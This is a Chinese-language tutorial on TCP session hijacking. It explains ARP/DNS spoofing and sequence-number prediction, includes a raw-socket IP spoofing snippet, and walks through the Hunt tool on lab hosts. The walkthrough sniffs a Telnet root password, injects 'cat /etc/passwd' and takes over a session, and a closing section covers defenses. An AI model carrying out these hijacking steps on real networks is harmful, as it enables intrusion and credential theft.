会话劫持攻击实战

文：会话劫持攻击实战
作者：dahubaobao
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会话劫持攻击实战 前言
通常，大家所说的入侵，都是针对一台主机，在获得管理员权限后，就很是得意；其实，真正的入侵是占领整个内部网络。针对内部网络的攻击方法比较多，但比较有效的方法非ARP欺骗、DNS欺骗莫属了。但是，不管使用什么技术，无非都是抓取目标的数据包，然后分析出敏感数据。如果目标内部采用的是共享式网络（采用HUB集线器连网），那只需要把网卡设置为“混杂模式”，挂上嗅探器（Sniffer），就能简听到你想得到的数据。如果是交换式网络（采用交换机连网），这样方法就行不通了，因为对于嗅探器，有三种网络环境是无法跨越的：“网桥”、“交换机”、“路由器”。可惜，对于ARP欺骗，交换式网络还是无能为力，如果我们借助ARP欺骗，在实现更高一层的“入侵手段”，从而真正的控制内部网络。这也就是本文要叙述的会话劫持攻击……一，会话劫持原理
1，什么是会话劫持
在现实生活中，比如你去市场买菜，在交完钱后你要求先去干一些别的事情，稍候再来拿菜；如果这个时候某个陌生人要求把菜拿走，卖菜的人会把菜给陌生人吗？！当然，这只是一个比喻，但这恰恰就是会话劫持的喻意。所谓会话，就是两台主机之间的一次通讯。例如你Telnet到某台主机，这就是一次Telnet会话；你浏览某个网站，这就是一次HTTP会话。而会话劫持（Session Hijack），就是结合了嗅探以及欺骗技术在内的攻击手段。例如，在一次正常的会话过程当中，攻击者作为第三方参与到其中，他可以在正常数据包中插入恶意数据，也可以在双方的会话当中进行简听，甚至可以是代替某一方主机接管会话。我们可以把会话劫持攻击分为两种类型：1）中间人攻击(Man In The Middle，简称MITM)，2）注射式攻击（Injection）；并且还可以把会话劫持攻击分为两种形式：1）被动劫持，2）主动劫持；被动劫持实际上就是在后台监视双方会话的数据流，丛中获得敏感数据；而主动劫持则是将会话当中的某一台主机“踢”下线，然后由攻击者取代并接管会话，这种攻击方法危害非常大，攻击者可以做很多事情，比如“cat etc/master.passwd”（FreeBSD下的Shadow文件）。图1为会话劫持示意图。MITM攻击简介
这也就是我们常说的“中间人攻击”，在网上讨论比较多的就是SMB会话劫持，这也是一个典型的中间人攻击。要想正确的实施中间人攻击，攻击者首先需要使用ARP欺骗或DNS欺骗，将会话双方的通讯流暗中改变，而这种改变对于会话双方来说是完全透明的。关于ARP欺骗黑客防线介绍的比较多，网上的资料也比较多，我就不在多说了，我只简单谈谈DNS欺骗。DNS（Domain Name System），即域名服务器，我们几乎天天都要用到。对于正常的DNS请求，例如在浏览器输入www.hacker.com.cn，然后系统先查看Hosts文件，如果有相对应的IP，就使用这个IP地址访问网站（其实，利用Hosts文件就可以实现DNS欺骗）；如果没有，才去请求DNS服务器；DNS服务器在接收到请求之后，解析出其对应的IP地址，返回给我本地，最后你就可以登陆到黑客防线的网站。而DNS欺骗则是，目标将其DNS请求发送到攻击者这里，然后攻击者伪造DNS响应，将正确的IP地址替换为其他IP，之后你就登陆了这个攻击者指定的IP，而攻击者早就在这个IP中安排好了恶意网页，可你却在不知不觉中已经被攻击者下了“套”……DNS欺骗也可以在广域网中进行，比较常见的有“Web服务器重定向”、“邮件服务器重定向”等等。但不管是ARP欺骗，还是DNS欺骗，中间人攻击都改变正常的通讯流，它就相当于会话双方之间的一个透明代理，可以得到一切想知道的信息，甚至是利用一些有缺陷的加密协议来实现。注射式攻击简介
这种方式的会话劫持比中间人攻击实现起来简单一些，它不会改变会话双方的通讯流，而是在双方正常的通讯流插入恶意数据。在注射式攻击中，需要实现两种技术：1）IP欺骗，2）预测TCP序列号。如果是UDP协议，只需伪造IP地址，然后发送过去就可以了，因为UDP没有所谓的TCP三次握手，但基于UDP的应用协议有流控机制，所以也要做一些额外的工作。对于IP欺骗，有两种情况需要用到：1）隐藏自己的IP地址；2）利用两台机器之间的信任关系实施入侵。在Unix/Linux平台上，可以直接使用Socket构造IP包，在IP头中填上虚假的IP地址，但需要root权限；在Windows平台上，不能使用Winsock，需要使用Winpacp（也可以使用Libnet）。例如在Linux系统，首先打开一个Raw Socket（原始套接字），然后自己编写IP头及其他数据。可以参考下面的实例代码：
sockfd = socket(AF_INET, SOCK_RAW, 255);
setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));struct ip *ip;
struct tcphdr *tcp;
struct pseudohdr pseudoheader;
ip->ip_src.s_addr = xxx;
pseudoheader.saddr.s_addr = ip->ip_src.s_addr;
tcp->check = tcpchksum((u_short *)&pseudoheader,12+sizeof(struct tcphdr));
sendto(sockfd, buf, len, 0, (const sockaddr *)addr, sizeof(struct sockaddr_in));对于基于TCP协议的注射式会话劫持，攻击者应先采用嗅探技术对目标进行简听，然后从简听到的信息中构造出正确的序列号，如果不这样，你就必须先猜测目标的ISN（初始序列号），这样无形中对会话劫持加大了难度。那为什么要猜测会话双方的序列号呢？请继续往下看。2，TCP会话劫持
本文主要叙述基于TCP协议的会话劫持。如果劫持一些不可靠的协议，那将轻而易举，因为它们没有提供一些认证措施；而TCP协议被欲为是可靠的传输协议，所以要重点讨论它。
根据TCP/IP中的规定，使用TCP协议进行通讯需要提供两段序列号，TCP协议使用这两段序列号确保连接同步以及安全通讯，系统的TCP/IP协议栈依据时间或线性的产生这些值。在通讯过程中，双方的序列号是相互依赖的，这也就是为什么称TCP协议是可靠的传输协议（具体可参见RFC 793）。如果攻击者在这个时候进行会话劫持，结果肯定是失败，因为会话双方“不认识”攻击者，攻击者不能提供合法的序列号；所以，会话劫持的关键是预测正确的序列号，攻击者可以采取嗅探技术获得这些信息。TCP协议的序列号
现在来讨论一下有关TCP协议的序列号的相关问题。在每一个数据包中，都有两段序列号，它们分别为：
SEQ：当前数据包中的第一个字节的序号
ACK：期望收到对方数据包中第一个字节的序号假设双方现在需要进行一次连接：
S_SEQ：将要发送的下一个字节的序号
S_ACK：将要接收的下一个字节的序号
S_WIND：接收窗口
//以上为服务器（Server）
C_SEQ：将要发送的下一个字节的序号
C_ACK：将要接收的下一个字节的序号
C_WIND：接收窗口
//以上为客户端（Client）它们之间必须符合下面的逻辑关系，否则该数据包会被丢弃，并且返回一个ACK包（包含期望的序列号）。
C_ACK <= C_SEQ <= C_ACK + C_WIND
S_ACK <= S_SEQ <= S_ACK + S_WIND如果不符合上边的逻辑关系，就会引申出一个“致命弱点”，具体请接着往下看。致命弱点
这个致命的弱点就是ACK风暴(Storm)。当会话双方接收到一个不期望的数据包后，就会用自己期望的序列号返回ACK包；而在另一端，这个数据包也不是所期望的，就会再次以自己期望的序列号返回ACK包……于是，就这样来回往返，形成了恶性循环，最终导致ACK风暴。比较好的解决办法是先进行ARP欺骗，使双方的数据包“正常”的发送到攻击者这里，然后设置包转发，最后就可以进行会话劫持了，而且不必担心会有ACK风暴出现。当然，并不是所有系统都会出现ACK风暴。比如Linux系统的TCP/IP协议栈就与RFC中的描述略有不同。注意，ACK风暴仅存在于注射式会话劫持。TCP会话劫持过程
假设现在主机A和主机B进行一次TCP会话，C为攻击者（如图2），劫持过程如下：
A向B发送一个数据包
SEQ (hex): X ACK (hex): Y
FLAGS: -AP--- Window: ZZZZ，包大小为:60B回应A一个数据包
SEQ (hex): Y ACK (hex): X+60
FLAGS: -AP--- Window: ZZZZ，包大小为:50A向B回应一个数据包
SEQ (hex): X+60 ACK (hex): Y+50
FLAGS: -AP--- Window: ZZZZ，包大小为:40B向A回应一个数据包
SEQ (hex): Y+50 ACK (hex): X+100
FLAGS: -AP--- Window: ZZZZ，包大小为:30攻击者C冒充主机A给主机B发送一个数据包
SEQ (hex): X+100 ACK (hex): Y+80
FLAGS: -AP--- Window: ZZZZ，包大小为:20B向A回应一个数据包
SEQ (hex): Y+80 ACK (hex): X+120
FLAGS: -AP--- Window: ZZZZ，包大小为:10现在，主机B执行了攻击者C冒充主机A发送过来的命令，并且返回给主机A一个数据包；但是，主机A并不能识别主机B发送过来的数据包，所以主机A会以期望的序列号返回给主机B一个数据包，随即形成ACK风暴。如果成功的解决了ACK风暴（例如前边提到的ARP欺骗），就可以成功进行会话劫持了。关于理论知识就说到这里，下面我以具体的实例演示一次会话劫持。二，会话劫持实践
1，唠叨几句
可以进行会话劫持的工具很多，比较常用有Juggernaut，它可以进行TCP会话劫持的网络Sniffer程序；TTY Watcher，而它是针对单一主机上的连接进行会话劫持。还有如Dsniff这样的工具包也可以实现会话劫持，只是看你会不会使用了。但，能将会话劫持发挥得淋漓尽致的，还要算Hunt这个工具了。它的作者是Pavel Krauz，可以工作在Linux和一些Unix平台下。它的功能非常强大，首先，无论是在共享式网络还是交换式网络，它都可以正常工作；其次，可以进行中间人攻击和注射式攻击。还可以进行嗅探、查看会话、监视会话、重置会话。通过前面的叙述，我们知道在注射式攻击中，容易出现ACK风暴，解决办法是先进行ARP欺骗；而使用Hunt进行注射式攻击时，它并不进行ARP欺骗，而是在会话劫持之后，向会话双方发送带RST标志位的TCP包以中断会话，避免ACK风暴继续下去。而中间人攻击是先进行ARP欺骗，然后进行会话劫持。Hunt目前最新版本是1.5，可以到Pavel Krauz网站下载源代码包和二进制文件


http://lin.fsid.cvut.cz/~kra/#hunt。现在来看看如果使用Hunt，首先是下载并编译源代码：
[root@dahubaobao hunt]#wget


http://www.ringz.org/hunt-1.5.tgz
[root@dahubaobao hunt]#tar zxvf hunt-1.5.tgz
[root@dahubaobao hunt]#cd hunt-1.5
[root@dahubaobao hunt-1.5]#make
[root@dahubaobao hunt-1.5]#./hunt
//Hunt是完全交互试的操作，具体如图3所示
解释一下各个选项的含义
l/w/r) list/watch/reset connections
//l（字母l）为查看当前网络上的会话；w为监视当前网络上的某个会话；r为重置当前网络上的某个会话。
a) arp/simple hijack (avoids ack storm if arp used)
//中间人攻击（会话劫持），Hunt先进行ARP欺骗，然后进行会话劫持。使用此方法可以避免出现ACK风暴。
s) simple hijack
//简单的会话劫持，也就是注射式攻击。会出现ACK风暴。
d) daemons rst/arp/sniff/mac
//该选项共实现四个功能，分别为：终止会话，自动发送带RST标志位的TCP包；ARP欺骗后进行数据包转发；不用说了，嗅探功能；在当前网络上收集MAC地址。
其他的选项很简单，不在多说了。还是来看看具体的例子吧，我想大家都等不及了！^_^2，应用实例
测试环境：
攻击者：Red Hat Linux 9.0 IP：192.168.0.10
主机A：Windows Advanced Server IP：192.168.0.1
主机B：FreeBSD 4.9 STABLE IP：192.168.0.20[root@dahubaobao hunt-1.5]#./hunt
/*
* hunt 1.5
* multipurpose connection intruder / sniffer for Linux
* (c) 1998-2000 by kra
*/
starting hunt
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> l //查看当前网络上的会话
0）192.168.0.1 [3465] ?192.168.0.20 [23]
//主机A正在Telnet到主机B--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> w //监视当前网络上的会话
0）192.168.0.1 [3465] ?192.168.0.20 [23]
Choose conn>0 //选择打算监视的会话。由于我的条件有限，不能模拟多个会话，请多见量。
Dump [s]rc/[d]st/[b]oth [b]> //回车
Print sec/dst same charactes y/n [n]> //回车现在就可以监视会话了。主机A输入的一切内容，我们都可以看到，如图4。主机A在Telnet并登陆之后，直接su root，password：后边的就是root的密码。现在这个系统已经完全由你所控制了，自由发挥吧！--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> s //进行注射式会话劫持
0）192.168.0.1 [3465] ?192.168.0.20 [23]
choose conn> 0
dump connection y/n [n]>
Enter the command string you wish executed or [cr]> cat /etc/passwd
攻击者的意图是获取主机B的passwd文件的内容，但由于注射式会话劫持缺陷，导致了ACK风暴，所以Hunt向会话双方发送了一个带RST标志位的TCP包来阻止ACK风暴。具体如图5所示。--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> a //进行中间人会话劫持
0）192.168.0.1 [3862] ?192.168.0.20 [23]
choose conn> 0
arp spoof src in dst y/n [y]>
src MAC [XX:XX:XX:XX:XX:XX]>
arp spoof dst in src y/n [y]>
dst MAC [XX:XX:XX:XX:XX:XX]>
input mode [r]aw, [l]ine+echo+\r, line+[e]cho [r]>
dump connectin y/n [y]> n
press key to take voer of connection
ARP spoof of 192.168.0.20 with fake mac XX:XX:XX:XX:XX:XX in host 192.168.0.1 FA
ILED
do you want to force arp spoof nutil successed y/n [y]>
CTRL-C to break
CTRL+C //手工输入CTRL+C中断，不需等待
-- operation canceled - press any key>
ARP spoof failed
ARP spoof of 192.168.0.20 in host 192.168.0.1 FAILED
you took over the connection
CTRL-] to break
-bash-2.05b$id
....................现在，攻击者已经成功的劫持了主机A和B之间的Telnet会话。主机A输入的一切命令攻击者都可以看到，并且攻击者也可以自行插入命令，比如图6所示的例子。正如前边所说的，这种会话劫持方式先进行ARP欺骗，然后才劫持，所以，ACK风暴是不会出现的；而且，这种方式要比注射式会话劫持危害更大，从上文中我想就能看出来，我就不必在多说什么了。还有一些如Sniffer等功能，都很简单，由于已不在本文范畴，故不在多说。三，会话劫持防范
防范会话劫持是一个比较大的工程。首先应该使用交换式网络替代共享式网络，虽然像Hunt这样的工具可以在交换环境中实现会话劫持，但还是应该使用交换式网络替代共享式网络，因为这样可以防范最基本的嗅探攻击。然而，最根本的解决办法是采用加密通讯，使用SSH代替Telnet、使用SSL代替HTTP，或者干脆使用IPSec/VPN，这样会话劫持就无用武之地了。其次，监视网络流量，如发现网络中出现大量的ACK包，则有可能已被进行了会话劫持攻击。还有一点是比较重要的，就是防范ARP欺骗。实现中间人攻击的前提是ARP欺骗，如能阻止攻击者进行ARP欺骗，中间人攻击还怎样进行？！如何防范ARP欺骗，黑客防线有过详细的介绍，可以参考2003年第9期杂志。总结
对于渗透内部网络，会话劫持确实是一种比较有效的方法，我们应该掌握。本文的实践性很强，请大家务必动手试试，并希望能掌握此技术。Hunt这个强悍的工具使用方法很简单，但却可以把会话劫持发挥淋漓尽致，真佩服作者的编程功底。